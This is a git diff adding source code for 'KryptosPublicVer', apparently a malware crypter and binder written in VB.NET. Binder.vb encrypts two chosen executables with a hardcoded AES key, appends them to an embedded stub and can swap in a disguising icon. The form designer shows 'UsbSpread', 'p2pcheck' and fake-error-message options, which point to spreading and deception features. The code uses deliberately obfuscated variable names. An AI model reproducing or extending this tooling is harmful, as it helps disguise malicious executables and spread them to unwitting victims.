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 + APgfAAD4HwAA/D8AAA== + + + \ No newline at end of file diff --git a/scode (KryptosPublicVer/Binder.vb b/scode (KryptosPublicVer/Binder.vb new file mode 100644 index 0000000..08e756a --- /dev/null +++ b/scode (KryptosPublicVer/Binder.vb @@ -0,0 +1,103 @@ +Public Class Binder + Dim XOXOXOXOOXOXOOXOOXOXOOXOXOX, XOIJSOIJDOIJAOSIDJOIJASD As String + +#Region "Buttons" + Private Sub CyberTopButton1_Click(sender As System.Object, e As System.EventArgs) Handles CyberTopButton1.Click + Me.Close() + End Sub +#End Region + + +#Region "Rijndael -SECURE-UNSECURE-" + + + Function Secure(ByVal data As Byte()) As Byte() + Using SA As New System.Security.Cryptography.RijndaelManaged + SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7} + SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1} + Return SA.CreateEncryptor.TransformFinalBlock(data, 0, data.Length) + End Using + End Function + Function Unsecure(ByVal data As Byte()) As Byte() + Using SA As New System.Security.Cryptography.RijndaelManaged + SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7} + SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1} + Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length) + End Using + End Function +#End Region + + + + + + Private Sub CyberButton1_Click(sender As System.Object, e As System.EventArgs) Handles CyberButton1.Click + Try + Dim S As New SaveFileDialog + With S + .FileName = "*.exe" + .Filter = "Executable files (*.exe)|*.exe|All files (*.*)|*.*" + .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + .Title = "Choose an output directory..." + If .ShowDialog = Windows.Forms.DialogResult.OK Then + Dim POKSPDFOKSPO As Byte() = Secure(My.Computer.FileSystem.ReadAllBytes(CyberTextBox1.Text)) + Dim oifjaosdifjoaisdjf As Byte() = Secure(My.Computer.FileSystem.ReadAllBytes(CyberTextBox2.Text)) + Dim oijfadsoifjaosdfroert As String = "ofaijsdf9843j9f84ijoaew9m328qtiuhfeicwqh9t8m3449jf438j9gq8rjigoidflasfgorijge" + Dim Buffer As Byte() = My.Resources.BinderResource + My.Computer.FileSystem.WriteAllBytes(.FileName, Buffer, False) + IO.File.AppendAllText(.FileName, oijfadsoifjaosdfroert & Convert.ToBase64String(POKSPDFOKSPO) & oijfadsoifjaosdfroert & XOXOXOXOOXOXOOXOOXOXOOXOXOX & oijfadsoifjaosdfroert & Convert.ToBase64String(oifjaosdifjoaisdjf) & oijfadsoifjaosdfroert & XOIJSOIJDOIJAOSIDJOIJASD) + If CyberCheckBox1.CheckedState = True Then + IconChanger.InjectIcon(S.FileName, CyberTextBox3.Text) + Else + End If + MsgBox("Successfullly Binded!", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "Success") + End If + End With + Catch ex As Exception + MsgBox("Something Went Wrong!: " & ex.Message, MsgBoxStyle.Critical + MsgBoxStyle.OkOnly, "Error") + End Try + End Sub + + Private Sub CyberButton2_Click(sender As System.Object, e As System.EventArgs) Handles CyberButton2.Click + Dim O As New OpenFileDialog + With O + .FileName = "*.*" + .Filter = "All files (*.*)|*.*" + .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + .Title = "Choose a file..." + If .ShowDialog = Windows.Forms.DialogResult.OK Then + CyberTextBox1.Text = .FileName + XOXOXOXOOXOXOOXOOXOXOOXOXOX = .SafeFileName + End If + End With + End Sub + + Private Sub CyberButton3_Click(sender As System.Object, e As System.EventArgs) Handles CyberButton3.Click + Dim O As New OpenFileDialog + With O + .FileName = "*.*" + .Filter = "All files (*.*)|*.*" + .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + .Title = "Choose a file..." + If .ShowDialog = Windows.Forms.DialogResult.OK Then + CyberTextBox2.Text = .FileName + XOIJSOIJDOIJAOSIDJOIJASD = .SafeFileName + End If + End With + End Sub + + Private Sub CyberButton4_Click(sender As System.Object, e As System.EventArgs) Handles CyberButton4.Click + Dim O As New OpenFileDialog + With O + .FileName = "*.ico*" + .Filter = "Icons (*.ico*)|*.ico*" + .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + .Title = "Choose an icon..." + If .ShowDialog = Windows.Forms.DialogResult.OK Then + CyberTextBox3.Text = .FileName + End If + End With + End Sub + + +End Class \ No newline at end of file diff --git a/scode (KryptosPublicVer/CustomXOR.vb b/scode (KryptosPublicVer/CustomXOR.vb new file mode 100644 index 0000000..783c813 --- /dev/null +++ b/scode (KryptosPublicVer/CustomXOR.vb @@ -0,0 +1,16 @@ +Public Class CustomXOR + + Public Overridable Function CustomXOR_Encrypt(ByVal Input As String, ByVal pass As String) As String + Dim out As New System.Text.StringBuilder + Dim Hash As New System.Security.Cryptography.MD5CryptoServiceProvider + Dim XorHash As Byte() = Hash.ComputeHash(System.Text.Encoding.ASCII.GetBytes(pass)) + Dim u As Integer + For i As Integer = 0 To Input.Length - 1 + Dim tmp As String = Hex(Asc(Input(i)) Xor XorHash(u)) + If tmp.Length = 1 Then tmp = "0" & tmp + out.Append(tmp) + If u = pass.Length - 1 Then u = 0 Else u = u + 1 + Next + Return out.ToString + End Function +End Class diff --git a/scode (KryptosPublicVer/Form1.Designer.vb b/scode (KryptosPublicVer/Form1.Designer.vb new file mode 100644 index 0000000..189fa16 --- /dev/null +++ b/scode (KryptosPublicVer/Form1.Designer.vb @@ -0,0 +1,1238 @@ + _ +Partial Class Form1 + Inherits System.Windows.Forms.Form + + 'Form overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Private Sub InitializeComponent() + Dim Bloom1 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom2 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom3 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom4 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom5 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom6 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom7 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom8 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom9 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom10 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom11 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom12 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom13 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom14 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom15 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom16 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom17 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom18 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom19 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom20 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom21 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom22 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom23 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom24 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom25 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom26 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom27 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom28 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom29 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom30 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom31 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom32 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom33 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom34 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom35 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom36 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom37 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom38 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom39 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom40 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom41 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom42 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom43 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom44 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom45 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom46 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom47 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom48 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom49 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom50 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom51 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom52 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom53 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom54 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom55 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom56 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom57 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom58 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom59 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom60 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom61 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom62 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom63 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom64 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom65 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom66 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom67 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom68 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom69 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom70 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom71 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom72 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom73 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom74 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom75 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom76 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom77 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom78 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom79 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom80 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom81 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom82 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom83 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom84 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom85 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom86 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom87 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom88 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom89 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom90 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom91 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom92 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom93 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom94 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom95 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom96 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom97 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom98 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom99 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom100 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom101 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom102 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom103 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom104 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom105 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom106 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom107 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom108 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom109 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom110 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom111 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom112 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom113 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom114 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom115 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom116 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom117 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom118 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom119 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom120 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom121 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom122 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom123 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom124 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom125 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom126 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom127 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom128 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom129 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom130 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom131 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom132 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom133 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom134 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom135 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom136 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom137 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form1)) + Me.CyberTheme1 = New KryptosPublicVer.CyberTheme() + Me.CyberGroupBox7 = New KryptosPublicVer.CyberGroupBox() + Me.RarCheck = New KryptosPublicVer.CyberCheckBox() + Me.UsbSpread = New KryptosPublicVer.CyberCheckBox() + Me.p2pcheck = New KryptosPublicVer.CyberCheckBox() + Me.CryptBtn = New KryptosPublicVer.CyberButton() + Me.CyberButton5 = New KryptosPublicVer.CyberButton() + Me.CyberGroupBox6 = New KryptosPublicVer.CyberGroupBox() + Me.FEMessage = New KryptosPublicVer.CyberTextBox() + Me.FETitle = New KryptosPublicVer.CyberTextBox() + 